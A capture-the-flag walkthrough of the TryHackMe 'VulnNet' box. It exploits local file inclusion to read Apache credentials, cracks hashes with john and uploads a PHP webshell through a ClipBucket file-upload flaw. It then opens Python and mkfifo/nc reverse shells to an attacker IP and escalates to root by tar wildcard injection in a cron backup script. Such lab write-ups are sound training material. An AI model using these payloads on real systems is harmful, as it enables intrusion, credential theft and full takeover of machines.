THM: VulnNet
Intro⌗
In VulnNet we’ll enumerate a corporate website and learn of another hidden app hosted on a subdomain. By exploiting an LFI vulnerability on the first site we will leak credentials for the other. After cracking the hash we can authenticate and see what’s hiding on the subdomain. We’ll quickly find the app has public exploits available that can be used to upload a file on to our target and spawn a reverse shell. Finally, with a bit of enumeration on the machine we’ll find a way use wildcard injection to exploit a command in a job that is owned by root and escalate to a root shell.
Recon⌗
Before we get started you’ll need to add this box’s domain to your local DNS cache. Edit /etc/hosts
and add a line pointing your target’s IP to the vulnnet.thm
domain.
rustscan -a 10.10.199.179 -- -sC -sV -oA nmap1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwkZ4lon+5ZNgVQmItwLRcbDT9QrJJGvPrfqsbAnwk4dgPz1GDjIg+RwRIZIwPGRPpyvd01W1vh0BNs7Uh9f5RVuojlLxjqsN1876Jvt5Ma7ajC49lzxmtI8B5Vmwxx9cRA8JBvENm0+BTsDjpaj3JWllRffhD25Az/F1Tz3fSua1GiR7R2eEKSMrD38+QGG22AlrCNHvunCJkPmYH9LObHq9uSZ5PbJmqR3Yl3SJarCZ6zsKBG5Ka/xJL17QUB5o6ZRHgpw/pmw+JKWUkodIwPe4hCVH0dQkfVAATjlx9JXH95h4EPmKPvZuqHZyGUPE5jPiaNg6YCNCtexw5Wo41
| 256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA8L+SEmXtvfURdTRsmhaay/VJTFJzXYlU/0uKlPAtdpyZ8qaI55EQYPwcPMIbvyYtZM37Bypg0Uf7Sa8i1aTKk=
| 256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKNuqHl39hJpIduBG9J7QwetpgO1PWQSUDL/rvjXPiWw
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration⌗
Let’s take a look at what’s serving on port 80:
Looks like a simple corporate site for VulnNet Entertainment. Let’s go ahead and kick off a content scan while we poke around manually.
ffuf -t 80 -u http://10.10.199.179/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.txt,.html
img [Status: 301, Size: 312, Words: 20, Lines: 10]
login.html [Status: 200, Size: 2479, Words: 633, Lines: 70]
index.php [Status: 200, Size: 5829, Words: 1689, Lines: 142]
css [Status: 301, Size: 312, Words: 20, Lines: 10]
js [Status: 301, Size: 311, Words: 20, Lines: 10]
fonts [Status: 301, Size: 314, Words: 20, Lines: 10]
LICENSE.txt [Status: 200, Size: 1109, Words: 208, Lines: 26]
We can view source the index page and in one of the site’s javascript files references a subdomain: broadcast.vulnnet.thm
This will also need to be added to our /etc/hosts
file so requests will resolve.
┌──(brian㉿kali)-[/usr/share/wordlists/dirb]
└─$ curl -i http://broadcast.vulnnet.thm
HTTP/1.1 401 Unauthorized
Date: Thu, 27 May 2021 12:14:02 GMT
Server: Apache/2.4.29 (Ubuntu)
WWW-Authenticate: Basic realm="Restricted Content"
Content-Length: 468
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at broadcast.vulnnet.thm Port 80</address>
</body></html>
So this is a live virutal hosts but it requires authentication for access.
In the other javascript file we can see that index.php accepts a query parameter referer
:
Local file inclusion bugs are common in PHP applications so when you see a parameter like this, it’s a good idea to test for that.
If we make a request to /index.php?referer=/etc/passwd
we can confirm we do indeed have LFI.
Now we can start searching for a way to get a shell, but first let’s examine the code for index.php and find the bug we just exploited. This will help us get a better understanding of how to navigate the system.
To do this we will need to use a PHP stream filter to base64 encode the content, otherwise we won’t see any output since the web server will execute the PHP code.
GET /index.php?referer=php://filter/convert.base64-encode/resource=index.php HTTP/1.1
At the bottom of the response we’ll see the long encoded content, and after decoding it we can see how the referer parameter works:
<?php
$file = $_GET['referer'];
$filter = str_replace('../','',$file);
include($filter);
?>
Here we can see that any occurrence of ../
in the value of referer gets replaced with an empty string. We can get around this by using ....//
to traverse up the filesystem, and we can also use absolute paths.
Since we know there are at least 2 virtual hosts running on Apache, let’s poke around Apache’s config directory to see how those are set up:
GET /index.php?referer=/etc/apache2/sites-enabled/000-default.conf HTTP/1.1
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName vulnnet.thm
DocumentRoot /var/www/main
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/main>
Order allow,deny
allow from all
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName broadcast.vulnnet.thm
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html>
Order allow,deny
allow from all
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
</VirtualHost>
In the broadcast.vulnnet.thm vhost we can see the credentials are stored in /etc/apache2/.htpasswd
.
developers:$apr1$REDACTED
We can save this in a file and run john
to crack it:
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/VulnNet]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (developers)
1g 0:00:00:11 DONE (2021-05-27 10:23) 0.08726g/s 188582p/s 188582c/s 188582C/s 9982..99686420
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now that we have the password we can check out the broadcast site in a browser and authenticate with these credentials. It is an application called ClipBucket v4.0.
If we searchsploit clipbucket
we’ll see there is an exploit available for this version, if it is newer than release 4902.
Getting a Shell⌗
Let’s try to exploit the arbitrary file upload vulnerability to upload a webshell.
┌──(brian㉿kali)-[/usr/share/webshells/php]
└─$ curl -i -u developers:REDACTED -F "file=@simple-backdoor.php" -F "plupload=1" -F "name=shell.php" http://broadcast.vulnnet.thm/actions/photo_uploader.php
HTTP/1.1 200 OK
Date: Sun, 30 May 2021 14:33:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=qmmrocq1fr48e698fr5266pmae; expires=Mon, 31-May-2021 14:33:52 GMT; Max-Age=86400; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sun, 30 May 2021 14:33:52 GMT
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Length: 99
Content-Type: text/html; charset=UTF-8
{"success":"yes","file_name":"16223852328ec6a9","extension":"php","file_directory":"2021\/05\/30"}
It uploaded successfully! Now we need to figure out the URL to access our shell.
We could continue using the LFI bug to search through the codebase, but it’s also available on GitHub which will be much easier and faster.
To start we can check out photo_uploader.php
. It is mostly a large switch statement but since we passed in plupload=1
with the request we can jump straight into that case.
On line 337 we see what looks like the line from the output in the response.
echo json_encode( array("success"=>"yes","file_name"=>$filename, "extension" => getExt( $filePath ), "file_directory" => $directory ) );
From here we can work backwards to find where $directory
gets set.
$targetDir = PHOTOS_DIR;
$directory = create_dated_folder( PHOTOS_DIR );
$targetDir .= '/'.$directory;
In lines 215-217 we see the base of our upload path is stored in a constant PHOTOS_DIR
which must be included from another file. So we can search the repository for that string and see it is created in includes/common.php
# PHOTOS DETAILS
define('PHOTOS_DIR',FILES_DIR."/photos");
define('PHOTOS_URL',FILES_URL."/photos");
Further up in the same file we’ll see where FILES_DIR
is set:
# DIRECT PATHS OF VIDEO FILES
define('FILES_DIR',BASEDIR.'/files');
Now we have all the info we need to construct a URL and test the webshell.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/VulnNet]
└─$ curl -i -u developers:REDACTED http://broadcast.vulnnet.thm/files/photos/2021/05/30/16223852328ec6a9.php?cmd=id
HTTP/1.1 200 OK
Date: Sun, 30 May 2021 14:37:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 125
Content-Type: text/html; charset=UTF-8
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
And with this double-URL encoded Python payload we can catch a reverse shell after we open a netcat listener:
nc -nlvp 4444
GET /files/photos/2021/05/30/16223852328ec6a9.php?cmd=python3%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.6.48.252%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fbash%22)' HTTP/1.1
User Flag⌗
We can search for user.txt
and get no results, so the www-data user must not have permission to read it.
If we look at /etc/crontab
we’ll find a job running as root every 2 minutes: /var/opt/backupsrv.sh
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
This tells us we can find the backup files in /var/backups
.
drwxr-xr-x 2 root root 4096 May 30 15:57 .
drwxr-xr-x 14 root root 4096 Jan 23 14:20 ..
-rw-r--r-- 1 root root 51200 Jan 23 14:07 alternatives.tar.0
...
-rw------- 1 root root 1831 Jan 23 16:00 passwd.bak
-rw------- 1 root shadow 1118 Jan 23 22:19 shadow.bak
-rw-rw-r-- 1 server-management server-management 1484 Jan 24 14:08 ssh-backup.tar.gz
-rw-r--r-- 1 root root 49338 Jan 25 23:28 vulnnet-Monday.tgz
-rw-r--r-- 1 root root 49338 May 30 17:42 vulnnet-Sunday.tgz
We can copy one to /tmp
to extract the contents and explore, but that ends up being a dead end.
However if we do the same for ssh-backup.tar.gz
we’ll find something a lot more helpful.
www-data@vulnnet:/var/backups$ cp ssh-backup.tar.gz /tmp && cd /tmp
www-data@vulnnet:/tmp$ tar -xvf ssh-backup.tar.gz
id_rsa
And we scored a private key! ..But it has a passphrase, so let’s transfer it back to our attack machine so we can crack it.
-
Use Python’s built-in web server to host the file:
python3 -m http.server 8888
-
Download it to our attack box:
wget http://10.10.199.179:8888/id_rsa
-
And upate the permissions:
chmod 600 id_rsa
-
Convert the key to a hash that John The Ripper can understand:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
-
Run
john
to crack the hash.┌──(brian㉿kali)-[~/…/hacks/tryhackme/VulnNet/loot] └─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status REDACTED (id_rsa) 1g 0:00:00:06 DONE (2021-05-30 12:01) 0.1607g/s 2305Kp/s 2305Kc/s 2305KC/sa6_123..*7¡Vamos! Session completed
We can now SSH to the target as the server-management
user and grab the user flag.
ssh -i id_rsa server-management@10.10.199.179
server-management@vulnnet:~$ ls -la
total 108
drwxrw---- 18 server-management server-management 4096 Jan 24 14:05 .
drwxr-xr-x 3 root root 4096 Jan 23 13:58 ..
lrwxrwxrwx 1 root root 9 Jan 23 20:49 .bash_history -> /dev/null
-rw-r--r-- 1 server-management server-management 220 Jan 23 13:58 .bash_logout
-rw-r--r-- 1 server-management server-management 3771 Jan 23 13:58 .bashrc
drwxrwxr-x 8 server-management server-management 4096 May 30 18:02 .cache
drwxrwxr-x 14 server-management server-management 4096 Jan 23 14:03 .config
drwx------ 3 server-management server-management 4096 Jan 23 14:03 .dbus
drwx------ 2 server-management server-management 4096 Jan 23 14:03 Desktop
-rw-r--r-- 1 server-management server-management 26 Jan 23 14:03 .dmrc
drwxr-xr-x 2 server-management server-management 4096 Jan 23 21:55 Documents
drwxr-xr-x 2 server-management server-management 4096 Jan 23 22:14 Downloads
drwx------ 3 server-management server-management 4096 Jan 23 14:03 .gnupg
drwxrwxr-x 3 server-management server-management 4096 Jan 23 14:03 .local
drwx------ 5 server-management server-management 4096 Jan 23 14:14 .mozilla
drwxr-xr-x 2 server-management server-management 4096 Jan 23 14:03 Music
drwxr-xr-x 2 server-management server-management 4096 Jan 23 14:03 Pictures
-rw-r--r-- 1 server-management server-management 807 Jan 23 13:58 .profile
drwxr-xr-x 2 server-management server-management 4096 Jan 23 14:03 Public
drwx------ 2 server-management server-management 4096 Jan 24 14:09 .ssh
-rw-r--r-- 1 server-management server-management 0 Jan 23 14:04 .sudo_as_admin_successful
drwxr-xr-x 2 server-management server-management 4096 Jan 23 14:03 Templates
drwx------ 4 server-management server-management 4096 Jan 23 19:58 .thumbnails
-rw------- 1 server-management server-management 38 Jan 23 22:12 user.txt
drwxr-xr-x 2 server-management server-management 4096 Jan 23 14:03 Videos
-rw------- 1 server-management server-management 52 Jan 24 14:05 .Xauthority
-rw-r--r-- 1 server-management server-management 14 Feb 12 2018 .xscreensaver
-rw------- 1 server-management server-management 2586 Jan 24 14:05 .xsession-errors
-rw------- 1 server-management server-management 2586 Jan 23 22:17 .xsession-errors.old
server-management@vulnnet:~$ wc -c user.txt
38 user.txt
Privilege Escalation⌗
Now that we have control over the directory root is backing up, let’s take another look at the script to see if there is anything we can do escalate privileges.
The script is using a wildcard *
with the tar
command. Since we can write to the directory being archived, we can add empty files with names that tar will interpret as command arguments, and this can be abused to execute commands via tar checkpoints. Since the cronjob runs as root, our commands will as well.
cd ~/Documents
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4545 >/tmp/f" > shell.sh
chmod +x shell.sh
touch "./--checkpoint-action=exec=sh shell.sh"
touch "./--checkpoint=1"
And back on our attack machine we’ll need to open a netcat listener to catch the shell the next time the job runs.
┌──(brian㉿kali)-[~/Downloads]
└─$ nc -nlvp 4545
listening on [any] 4545 ...
connect to [10.6.48.252] from (UNKNOWN) [10.10.11.138] 59028
bash: cannot set terminal process group (2861): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet:/home/server-management/Documents# id
id
uid=0(root) gid=0(root) groups=0(root)
root@vulnnet:/home/server-management/Documents# cd /root
cd /root
root@vulnnet:~# ls -la
ls -la
total 48
drwx------ 7 root root 4096 Jan 23 22:13 .
drwxr-xr-x 23 root root 4096 Jan 23 14:09 ..
lrwxrwxrwx 1 root root 9 Jan 23 20:49 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 3 root root 4096 Jan 23 22:06 .cache
drwx------ 5 root root 4096 Jan 23 22:06 .config
drwx------ 3 root root 4096 Jan 23 22:06 .dbus
drwxr-xr-x 3 root root 4096 Jan 23 20:04 .local
-rw------- 1 root root 547 Jan 23 20:30 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 7 Jan 23 14:22 .python_history
-rw------- 1 root root 38 Jan 23 22:13 root.txt
drwx------ 4 root root 4096 Jan 23 22:06 .thumbnails
root@vulnnet:~# wc -c root.txt
wc -c root.txt
38 root.txt